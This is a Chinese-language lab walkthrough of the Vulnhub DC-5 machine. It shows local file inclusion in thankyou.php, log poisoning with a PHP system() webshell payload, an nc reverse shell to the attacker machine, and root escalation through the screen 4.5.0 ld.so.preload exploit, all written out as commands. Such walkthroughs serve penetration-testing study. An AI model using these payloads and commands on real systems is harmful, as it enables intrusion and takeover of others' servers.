Vulnhub靶机渗透测试之DC-5
字数 1165 2025-08-15 21:33:26

DC-5 靶机渗透测试教学文档

靶机环境概述

  • 平台: Vulnhub
  • 靶机名称: DC-5
  • 目标: 获取root权限并查看flag
  • 攻击机: Kali Linux (192.168.2.19)
  • 靶机IP: 192.168.2.22
  • 网络配置: 桥接模式

信息收集阶段

1. 端口扫描

使用nmap进行初始扫描:

nmap -sV 192.168.2.22

发现开放端口:

  • 80端口:HTTP服务
  • 111端口:RPCbind服务(无利用点)

2. Web服务分析

访问80端口:

  • 中间件:Nginx
  • 编程语言:PHP
  • 发现Contact页面有交互功能

3. 目录扫描

使用DirBuster扫描敏感文件:

DirBuster -u http://192.168.2.22 -l /path/to/wordlist.txt

发现关键文件:

  • thankyou.php
  • footer.php

漏洞发现与利用

1. 文件包含漏洞

发现特征:

  • 提交表单后,刷新thankyou.php页面,下方时间会变化
  • footer.php内容与显示时间一致
  • 推断thankyou.php包含footer.php文件

验证文件包含漏洞:

http://192.168.2.22/thankyou.php?file=/etc/passwd

成功读取/etc/passwd文件,确认存在文件包含漏洞。

2. 获取Nginx配置信息

读取Nginx配置文件:

/etc/nginx/nginx.conf

发现日志文件路径:

  • /var/log/nginx/error.log
  • /var/log/nginx/access.log

3. 日志注入攻击

步骤:

  1. 使用Burp Suite抓取Contact表单提交请求
  2. 发送到Repeater模块
  3. 修改file参数注入PHP代码:
    file=<?php system($_GET['a'])?>
    
  4. 访问日志文件触发代码执行:
    http://192.168.2.22/thankyou.php?file=/var/log/nginx/error.log&a=whoami
    

获取Shell

1. 反弹Shell

攻击机设置监听:

nc -nlvp 1234

通过Web漏洞执行反弹命令:

nc -e /bin/sh 192.168.2.19 1234

2. 稳定Shell

获取交互式Shell:

python -c "import pty;pty.spawn('/bin/bash')"

权限提升

1. 查找SUID文件

执行命令:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

发现可利用的SUID程序:screen-4.5.0

2. 搜索漏洞利用

使用searchsploit查找漏洞:

searchsploit screen 4.5.0

找到利用脚本:41154.sh

3. 编译利用代码

步骤:

  1. 复制利用脚本:
    cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
    
  2. 创建两个C文件:
    • libhax.c
    • rootshell.c
  3. 编译:
    gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
    gcc -o /tmp/rootshell /tmp/rootshell.c
    

4. 传输文件到靶机

使用nc传输:
攻击机:

nc -nlvp 1234 < libhax.so
nc -nlvp 1234 < rootshell

靶机:

nc 192.168.2.19 1234 > libhax.so
nc 192.168.2.19 1234 > rootshell

5. 执行提权

执行顺序:

cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell

成功获取root权限。

获取Flag

在root目录下找到flag文件。

知识点总结

  1. 端口扫描:熟悉常见服务端口
  2. 目录扫描工具:DirBuster、dirsearch、御剑等
  3. 文件包含漏洞
    • 本地文件包含(LFI)
    • 日志文件注入
  4. searchsploit使用:查找已知漏洞利用
  5. SUID提权:利用配置不当的SUID程序
  6. screen提权:特定版本的screen漏洞利用

参考链接

  • Vulnhub官网:https://www.vulnhub.com
  • Exploit-DB:https://www.exploit-db.com
DC-5 靶机渗透测试教学文档 靶机环境概述 平台 : Vulnhub 靶机名称 : DC-5 目标 : 获取root权限并查看flag 攻击机 : Kali Linux (192.168.2.19) 靶机IP : 192.168.2.22 网络配置 : 桥接模式 信息收集阶段 1. 端口扫描 使用nmap进行初始扫描: 发现开放端口: 80端口:HTTP服务 111端口:RPCbind服务(无利用点) 2. Web服务分析 访问80端口: 中间件:Nginx 编程语言:PHP 发现Contact页面有交互功能 3. 目录扫描 使用DirBuster扫描敏感文件: 发现关键文件: thankyou.php footer.php 漏洞发现与利用 1. 文件包含漏洞 发现特征: 提交表单后,刷新thankyou.php页面,下方时间会变化 footer.php内容与显示时间一致 推断thankyou.php包含footer.php文件 验证文件包含漏洞: 成功读取/etc/passwd文件,确认存在文件包含漏洞。 2. 获取Nginx配置信息 读取Nginx配置文件: 发现日志文件路径: /var/log/nginx/error.log /var/log/nginx/access.log 3. 日志注入攻击 步骤: 使用Burp Suite抓取Contact表单提交请求 发送到Repeater模块 修改file参数注入PHP代码: 访问日志文件触发代码执行: 获取Shell 1. 反弹Shell 攻击机设置监听: 通过Web漏洞执行反弹命令: 2. 稳定Shell 获取交互式Shell: 权限提升 1. 查找SUID文件 执行命令: 发现可利用的SUID程序:screen-4.5.0 2. 搜索漏洞利用 使用searchsploit查找漏洞: 找到利用脚本:41154.sh 3. 编译利用代码 步骤: 复制利用脚本: 创建两个C文件: libhax.c rootshell.c 编译: 4. 传输文件到靶机 使用nc传输: 攻击机: 靶机: 5. 执行提权 执行顺序: 成功获取root权限。 获取Flag 在root目录下找到flag文件。 知识点总结 端口扫描 :熟悉常见服务端口 目录扫描工具 :DirBuster、dirsearch、御剑等 文件包含漏洞 : 本地文件包含(LFI) 日志文件注入 searchsploit使用 :查找已知漏洞利用 SUID提权 :利用配置不当的SUID程序 screen提权 :特定版本的screen漏洞利用 参考链接 Vulnhub官网:https://www.vulnhub.com Exploit-DB:https://www.exploit-db.com